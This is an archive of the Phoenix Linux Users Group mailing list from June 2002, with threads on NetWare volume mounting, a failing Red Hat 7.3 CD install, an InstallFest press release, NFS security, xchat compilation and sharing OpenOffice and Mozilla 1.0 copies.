03 Juni 2002 02:09 nachmittags schrieb foodog: > Nathan, I haven't heard of a non-Netware method of mounting Netware > volumes. Is the server unbootable? FWIW, the best non-Novell tools for > Netware that I know of come from: > http://www.PortlockSoftware.com - > http://www.ontrack.com - > http://www.jrbsoftware.com -- large number of "free" utils plus more > that cost. > > Of course, searching through support.novell.com and developer.novell.com > yields lots of free tools and info. > > BTW, if the server *isn't* toasted and you're running NW 5.x or 6 > there's support for NFS > > Could you elaborate on the situation? > Steve > > Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > I booted up a novell machine using a bbc cd and I need to mount the > > novell volume (/dev/hda2) onto the tree so I can export it. > > The fdisk info says it is id 65 Novell Netware 386 > > > > Does anyone know how I can mount that? I tried the ncpfs module, but it > > doesn't work. > > > > nathan > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.0.7 (GNU/Linux) > > > > iD8DBQE8+65cQ7yNnsYcupwRAnx9AJ9Ga+JvecuXlU9n32S/9m7M7hkbFgCgq08N > > 5V5D6ElmVvifCzrLPF8nRyM= > > =d4n0 > > -----END PGP SIGNATURE----- > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE8/NhXQ7yNnsYcupwRAgZoAJ9kVBz4fRJNSXb6Y2iebZYkY8uYXQCgqBXa 1Fo55C8NyzarP66Nlw65dmQ= =u9LP -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 14:57:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 10:57:58 -0400 Subject: RH7.3 disc fails on floppy boot install Message-ID: I have a set of RH7.3 CDs that have been successfully used on two computers and at least one other by someone else. My successes have been with computers that were able to boot off the CD and install from there. I have another computer that does not have the brains to boot from the CD. I sucessfully did a floppy boot install with RH7.2 on this same computer. I made an install boot floppy that starts up fine but when the install gets to the point of reading the CD, it fails. It attempts to spin up several times for several minutes and eventually fails. I am assuming this is a bad CD that works OK for booting but not for floppy installs. That puzzles me, however, because I would think that boot from CD or floppy would use most of the same files on the CD at the point the floppy install fails. Anyone else have any hints here? Do I need to go buy some new CDs? Alan From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 16:18:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard J Herrem) Date: Wed, 5 Jun 2002 09:18:30 -0700 Subject: RH7.3 disc fails on floppy boot install Message-ID: <20020605.091832.-1837903.1.herrem@juno.com> I had this problem, but it turned out to be a loose cdrom. I was able to install from another cdrom through a network with the bootnet.img floppy starting the process. (Used cdrom for sale.;^) Rick Herrem On Wed, 05 Jun 2002 10:57:58 -0400 writes: > I have a set of RH7.3 CDs that have been successfully used on two > computers and at least one other by someone else. My successes have > been with computers that were able to boot off the CD and install > from there. > > I have another computer that does not have the brains to boot from > the CD. I sucessfully did a floppy boot install with RH7.2 on this > same computer. > > I made an install boot floppy that starts up fine but when the > install gets to the point of reading the CD, it fails. It attempts > to spin up several times for several minutes and eventually fails. > > > I am assuming this is a bad CD that works OK for booting but not for > floppy installs. That puzzles me, however, because I would think > that boot from CD or floppy would use most of the same files on the > CD at the point the floppy install fails. Anyone else have any > hints here? Do I need to go buy some new CDs? > > Alan > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write > mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 16:23:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 5 Jun 2002 09:23:18 -0700 Subject: RH7.3 disc fails on floppy boot install In-Reply-To: References: Message-ID: <200206050923.28647.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 05 June 2002 07:57 am, alandd@mindspring.com wrote: > I have a set of RH7.3 CDs that have been successfully used on two > computers and at least one other by someone else. My successes have been > with computers that were able to boot off the CD and install from there. > > I have another computer that does not have the brains to boot from the > CD. I successfully did a floppy boot install with RH7.2 on this same > computer. > > I made an install boot floppy that starts up fine but when the install > gets to the point of reading the CD, it fails. It attempts to spin up > several times for several minutes and eventually fails. > > I am assuming this is a bad CD that works OK for booting but not for > floppy installs. That puzzles me, however, because I would think that > boot from CD or floppy would use most of the same files on the CD at the > point the floppy install fails. Anyone else have any hints here? Do I > need to go buy some new CDs? I have seen this behavior quite a bit on my systems, and I would have to say that the CD-ROM is bad. Although a bit rare with pressed CDs, this behavior is much more prevalent among burnt ones. I also can't tell you if getting new CDs will help at all since I have never been able to find out what exact propert of the disc causes the CD-ROM to fail. Essentially, it knows there is something there but can't read the disk (similar to what the new audio CD copy prevention does intentionally). Okay, the above doesn't make sense, but I am not about to retype it. Summary? Either do the network install (which is really easy if you already have a network card) or buy a new CD-ROM (which is really cheap). Good luck! PS: Your problems might have something to do with a failing power supply, as well. I know in at least one out of the 3 "bad" CD-ROM drives I owned, the problem was fixed by dropping in a new PSU. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8/jr7pNoctRtUIRQRAustAJ9JvX7WonvSSPmRfQVmubZ5BXcnFACfQAr0 ZXekffMi23HKjntNmnfS+fQ= =lcRu -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 16:44:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Wed, 5 Jun 2002 09:44:40 -0700 Subject: Old computers available In-Reply-To: <20020604174319.A87199@lilly.csoft.net> Message-ID: Mike, thanks for the offer. I'm heading out to pick up some hardware from Matt. Right now I'm looking for some monitors of either 15" or 17". Please PM to mberkwitt@REMOVEcox.net. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Mike Sent: Tuesday, June 04, 2002 3:43 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available If Matt's well is dry I will donate 3 of mine for your cause. On Tue, Jun 04, 2002 at 03:20:09PM -0700, Mark Berkwitt wrote: Matt, I could use 4 or 5 for a woman's recovery center in Prescott Arizona. They'd be used for Internet use, creating resumes and individual writing. This center is a licensed nonprofit org which can provide donation receipts. Thanks. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:37 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available On Mon, 3 Jun 2002, Shawn Rutledge wrote: > Sounds OK to me. > > Do they have CD's floppies or anything else interesting? > What kind of video and network cards? Passive heatsinks or > fans? (Interesting for embedded use...) Ah, I forgot to mention that these do not have cdrom drives. Most are missing floppy drives. All have video cards that work with Linux (I'm too lazy to check the exact brand right now) and 10Mb network cards. The CPUs have fans. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:05:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 13:05:56 -0400 Subject: Sending out press release - LAST CALL! Message-ID: Not a problem with the press release but the web site. Quoting the press release: "The event will be held from 10:00 a.m. to 4:00 p.m. in the College's Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). " I may have missed it but I don't see a link to a map anywhere on the site or the installfest site. We better get one up. Alan From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:32:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 10:32:11 -0700 Subject: xchat compile In-Reply-To: <20020605042704.4eb0208f.snoogans@qwest.net>; from snoogans@qwest.net on Wed, Jun 05, 2002 at 04:27:04AM -0700 References: <20020605042704.4eb0208f.snoogans@qwest.net> Message-ID: <20020605103211.A27101@nadesico> On Wed, Jun 05, 2002 at 04:27:04AM -0700, robert jorgenson wrote: > okay it appears that if i want to have the tint transparency option available(and i do :> ) i am going top have to compile xchat from source. I untar/unzip the files cd to the directory, ./configure all is well no errors at all, i type make and get this ... > > chimera:/home/bob/xchat-1.8.9# make > make all-recursive > make[1]: Entering directory `/home/bob/xchat-1.8.9' > Making all in po > make[2]: Entering directory `/home/bob/xchat-1.8.9/po' > file=./`echo ca | sed 's,.*/,,'`.gmo \ > && rm -f $file && PATH=../src:$PATH -o $file ca.po > /bin/sh: -o: command not found > make[2]: *** [ca.gmo] Error 127 > make[2]: Leaving directory `/home/bob/xchat-1.8.9/po' > make[1]: *** [all-recursive] Error 1 > make[1]: Leaving directory `/home/bob/xchat-1.8.9' > make: *** [all-recursive-am] Error 2 > chimera:/home/bob/xchat-1.8.9# > > First thing i did was check to see if /bin/sh was there, it wasn't so i apt-get that and try again same thing. As lame as it sounds this litle option is something i would really like, if someone could help me out with this i would appreciate it, thanks in advance :) Looks to me like the Makefile isn't setting $(CC) properly. Check the toplevel Makefile to see if it's redefining it to something bizarre. Since it's an autoconf configure script, you'll likely have to edit the po/Makefile and all other subdirectory's Makefiles as well. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:39:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 5 Jun 2002 10:39:57 -0700 Subject: Sending out press release - LAST CALL! In-Reply-To: <200206042041.00712.dennisk@sahuaro.f2s.com> References: <0206041951240Z.00730@nova.wedge.org> <200206042041.00712.dennisk@sahuaro.f2s.com> Message-ID: <02060510395710.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I can easily put a link to a map of SCC when I update PlugPresents web site. I bet Vic can do the same for the Plug web site. Kimi has made available an email address (installfest@unitywave.com). Do we want to use this instead of contact@plug.phoenix.az.us? If we do, we obviously change the Press Release and let Kimi know who to forward the mail from that address to. On Tuesday 04 June 2002 20:41, you wrote: > This includes suggestions from hans and Bill Lindley. Also, I've removed > quotes around "Open Source" and "Free Software" which I thought > unneccessary and too M$-like as in the Myrth of "free software." > > I plan to go to press on Thurday latest unless there are any show stoppers. > > Dennis > =========================================================== > FOR IMMEDIATE RELEASE > > LOCAL USERS GROUP OFFERS FREE GNU/LINUX INSTALLATION HELP > > On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the > public to a "GNU/Linux InstallFest" at Scottsdale Community College. > Attendees will receive expert help in installing Linux, a freely available > operating system, on their personal computers. > > After the InstallFest, users who brought their computers along can in many > cases go home with working systems installed on their machines, free of > charge. The package includes web browsers, word processors, and other usual > tools that computer users expect. > > PLUG's organizer for the event is William Lindley, a computer consultant. > "This is what the Free Software community is all about - helping each > other, and we'll be helping folks get started," Lindley explained. "We're > all looking forward to this InstallFest." > > The software is an alternative to Windows and other proprietary systems. > Linux, GNU, FreeBSD and other Open Source and Free Software systems do not > require any licensing or upgrade fees, and are said by many experts to be > more efficient and secure than Windows systems. > > Businesses and home users alike are turning to Free Software which can be > freely copied, modified, or examined, and which is considered by computer > experts to be more robust and secure than proprietary systems. > > Though there is no charge, the term Free Software actually refers to > freedom from license restrictions: Users are never asked to click "I Agree" > to a list of prohibitions before using it, and organizations need not store > "Certificates of Authenticity" in their safe deposit boxes in case of an > audit. > > The Free Software products are available at no charge through the Internet > or as an inexpensive distribution at most local computer stores, but the > InstallFest offers users a completed installation by experienced Linux and > FreeBSD administrators. Computer users are invited to bring their computers > to the event. Usually, only the computer box, monitor, keyboard and mouse > need be brought - see the PLUG web page for details. > > "Your old operating system can remain as an alternative, or we can replace > it entirely," Lindley said, "depending on your plans for the machine and > how much disk space you have to spare." > > "This is a important next step in development of computers and the Internet > -- making them more affordable and more secure," Lindley said. "We are here > to show how easy it can be for computer users to move up to the next > level." > > The event will be held from 10:00 a.m. to 4:00 p.m. in the College's > Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is > available online at PLUG's web site, ( http://plug.phoenix.az.us ). > > PLUG members will be available to answer questions about Linux, Open Source > software, and the Phoenix Linux Users Group as well. > > For more information about the InstallFest, email > contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 > > PLUG is an informal group that holds several monthly meetings, on both the > East and West sides of Phoenix, to talk about what they've recently done > with Linux, GNU and Open Source software; to share problems and solutions, > and to discuss issues in the world of Free Software and computers in > general. Knowledge of Linux is neither presumed nor required. Between > meetings, PLUG members stay in touch through a busy e-mail discussion list. > > More information about PLUG can be found on the website at > http://plug.phoenix.az.us/ . > > Scottsdale Community College offers two year degree programs in many > disciplines including computers, arts, and science. SCC also offers > university transfer programs and special interest courses, and has hosted > several Free Software events. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP5M7isk3ywszI1FEQKs2ACfbAQIoNLreTuipqO7gn5BXnUBpaIAn3gD Ty1C4MmPX0Bqc2akVDdN+aDv =1Rl1 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:38:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Simper, Brian D) Date: Wed, 5 Jun 2002 10:38:38 -0700 Subject: Building an RPM Message-ID: Do any of you have a recommended reference for building an RPM file? I have the book "Maximum RPM" but it is dated 1997 and I suspect that there may be some new information somewhere out there Any suggestions? Thanks, Brian From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:49:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 5 Jun 2002 10:49:14 -0700 (MST) Subject: RH7.3 disc fails on floppy boot install In-Reply-To: <200206050923.28647.voltage_spike@fastmail.fm> Message-ID: Most older CDROM drives have difficulties with CDR discs. If it's an old CDROM drive that's giving you the problem - generally a 4x or lower drive - trade it out for a newer model and see whether that helps. \\/ http://www.wlindley.com p.s., Would y'all say it's an accepted protocol to use "disc" for optical media (CDs, WORMs, laserdiscs) and "disk" for magnetic media (floppy disks, hard disks)? From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 18:07:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 14:07:16 -0400 Subject: RH7.3 disc fails on floppy boot install Message-ID: Disc == optical media Disk == magnetic media This is not only the accepted protocol but is the correct uses of the spelling. Alan On Wed, 5 Jun 2002 10:49:14 -0700 (MST) William Lindley wrote: Most older CDROM drives have difficulties with CDR discs. If it's an old CDROM drive that's giving you the problem - generally a 4x or lower drive - trade it out for a newer model and see whether that helps. \/ http://www.wlindley.com p.s., Would y'all say it's an accepted protocol to use "disc" for optical media (CDs, WORMs, laserdiscs) and "disk" for magnetic media (floppy disks, hard disks)? ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 18:05:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 5 Jun 2002 11:05:50 -0700 Subject: RH7.3 disc fails on floppy boot install In-Reply-To: References: Message-ID: <200206051105.50399.voltage_spike@fastmail.fm> On Wednesday 05 June 2002 10:49 am, William Lindley wrote: > p.s., Would y'all say it's an accepted protocol to use "disc" for optical > media (CDs, WORMs, laserdiscs) and "disk" for magnetic media (floppy > disks, hard disks)? I do, although I don't know why . . . -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:11:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 5 Jun 2002 13:11:10 -0700 Subject: Open Office 1.0 for Linux and Windows Message-ID: <02060513111011.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Looking for a copy of OO for Linux and Windows on a CD so that I dont have to spend the next week downloading it over a 56K connection. Anyone have them? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 GmQK3OKjzE1aggpT4D6E2B7H =m9Qk -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:23:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 5 Jun 2002 13:23:50 -0700 (PDT) Subject: Contact for installfest In-Reply-To: <02060513111011.00730@nova.wedge.org> Message-ID: <20020605202350.55136.qmail@web13904.mail.yahoo.com> I greatly apologize for asking this, since the answer has already been stated, but who do we contact about being able to help at the installfest? mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:26:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 13:26:17 -0700 (PDT) Subject: Open Office 1.0 for Linux and Windows In-Reply-To: <02060513111011.00730@nova.wedge.org> Message-ID: I do. Stop by New Vision to pick it up. On Wed, 5 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Looking for a copy of OO for Linux and Windows on a CD so that I dont have to > spend the next week downloading it over a 56K connection. Anyone have them? > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 > GmQK3OKjzE1aggpT4D6E2B7H > =m9Qk > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:32:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 5 Jun 2002 13:32:24 -0700 (PDT) Subject: NFS and security In-Reply-To: <02060513111011.00730@nova.wedge.org> Message-ID: <20020605203224.49960.qmail@web13907.mail.yahoo.com> In the near future I am going to be connecting two linux boxes together, workstation to file server. The only way I know of to do this is to use NFS. However, everytime I read something about NFS it states how insecure it is. Is there a way to do this that is more secure than NFS, or are there procedures to make NFS more secure? They will connect to the internet shortly after being set-up, so I am concerned about the security issue. mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:42:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 16:42:07 -0400 Subject: Open Office 1.0 for Linux and Windows Message-ID: I have such a CD. I will bring a copy to next meeting or we can make other arrangements. Alan On Wed, 5 Jun 2002 13:11:10 -0700 Jim wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Looking for a copy of OO for Linux and Windows on a CD so that I dont have to spend the next week downloading it over a 56K connection. Anyone have them? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 GmQK3OKjzE1aggpT4D6E2B7H =m9Qk -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:40:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 13:40:54 -0700 (PDT) Subject: NFS and security In-Reply-To: <20020605203224.49960.qmail@web13907.mail.yahoo.com> Message-ID: Hopefully they're not directly connected to the Internet. Setup a firewall/router between your boxes and the Internet to block all incoming connections initiated from the outside, and you should be fine. ~M On Wed, 5 Jun 2002, MCR wrote: > In the near future I am going to be connecting two > linux boxes together, workstation to file server. The > only way I know of to do this is to use NFS. However, > everytime I read something about NFS it states how > insecure it is. Is there a way to do this that is > more secure than NFS, or are there procedures to make > NFS more secure? They will connect to the internet > shortly after being set-up, so I am concerned about > the security issue. > mike > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:35:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Mandala) Date: 05 Jun 2002 13:35:18 -0700 Subject: NFS and security In-Reply-To: <20020605203224.49960.qmail@web13907.mail.yahoo.com> References: <20020605203224.49960.qmail@web13907.mail.yahoo.com> Message-ID: <1023309321.1570.3.camel@CX868974-C> NFS over ssh is possible, check google for a link On Wed, 2002-06-05 at 13:32, MCR wrote: > In the near future I am going to be connecting two > linux boxes together, workstation to file server. The > only way I know of to do this is to use NFS. However, > everytime I read something about NFS it states how > insecure it is. Is there a way to do this that is > more secure than NFS, or are there procedures to make > NFS more secure? They will connect to the internet > shortly after being set-up, so I am concerned about > the security issue. > mike > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:36:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 13:36:48 -0700 (PDT) Subject: Open Office 1.0 for Linux and Windows In-Reply-To: <02060513111011.00730@nova.wedge.org> Message-ID: Speaking of which... I could probably burn a bunch of CDs with OO for Linux and Windows and have them available at the InstallFest. On Wed, 5 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Looking for a copy of OO for Linux and Windows on a CD so that I dont have to > spend the next week downloading it over a 56K connection. Anyone have them? > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 > GmQK3OKjzE1aggpT4D6E2B7H > =m9Qk > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 21:04:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 5 Jun 2002 14:04:23 -0700 (MST) Subject: Contact for installfest In-Reply-To: <20020605202350.55136.qmail@web13904.mail.yahoo.com> Message-ID: On Wed, 5 Jun 2002, MCR wrote: > who do we contact about being able to help at the installfest? wlindley@wlindley.com This should be somewhere on the PLUG page if it isn't already. \\/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 21:17:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 14:17:25 -0700 Subject: Open Office 1.0 for Linux and Windows In-Reply-To: <02060513111011.00730@nova.wedge.org> References: <02060513111011.00730@nova.wedge.org> Message-ID: <1023311845.3cfe7fe590635@webmail.freedom2surf.net> Quoting Jim : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Looking for a copy of OO for Linux and Windows on a CD so that I dont have to > > spend the next week downloading it over a 56K connection. Anyone have > them? > - -- > Jim > Why don't you ask the PLUG CD Service for one? Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:36:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 5 Jun 2002 16:36:16 -0400 (EDT) Subject: InstallFest Tips? Message-ID: Unfortunately, I'm going to be out of town or I would lend a hand with the InstallFest. I'd be happy to chip in some burns of distros or OpenOffice if that would help. In July I'm going to get together with half a dozen friends from my office who want to try Linux for the first time. Would it be possible for those of you who will be at the InstallFest to keep track of any major problems or successes, so I can try to avoid the former and capitalize on the latter? Might even turn into a handy guide for people to use when introducing Linux to their office or their children's school. I'm thinking along the lines of, "would've been easier if we'd had a bigger hub," or "having OpenOffice was a big hit because it let people see how they can use Linux to do what they're doing on Windows." Sort of a post-mortem. ------------------------------------------------------------------- "This time around, everything not forbidden is mandatory." "...Congress is willing to butcher the $600 billion tech industry to feed the $35 billion entertainment sector..." http://www.eff.org/blogs/bpdg/ ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:05:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 15:05:55 -0700 (PDT) Subject: Mozilla 1.0 anyone? Message-ID: If anyone can get a copy of Mozilla 1.0 to me, I'll setup a site for people to download it. Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:14:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 15:14:00 -0700 (PDT) Subject: Mozilla 1.0 "Mirror" In-Reply-To: Message-ID: If anyone is interested, you can download the source, the RH 7.x RPMs, and the Win32 version at: http://plug.netpro.to/mozilla/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:17:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Wed, 05 Jun 2002 15:17:05 -0700 Subject: Open Office 1.0 for Linux and Windows Message-ID:

Yes.......Please do.

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Speaking of which... I could probably burn a bunch of CDs with OO for
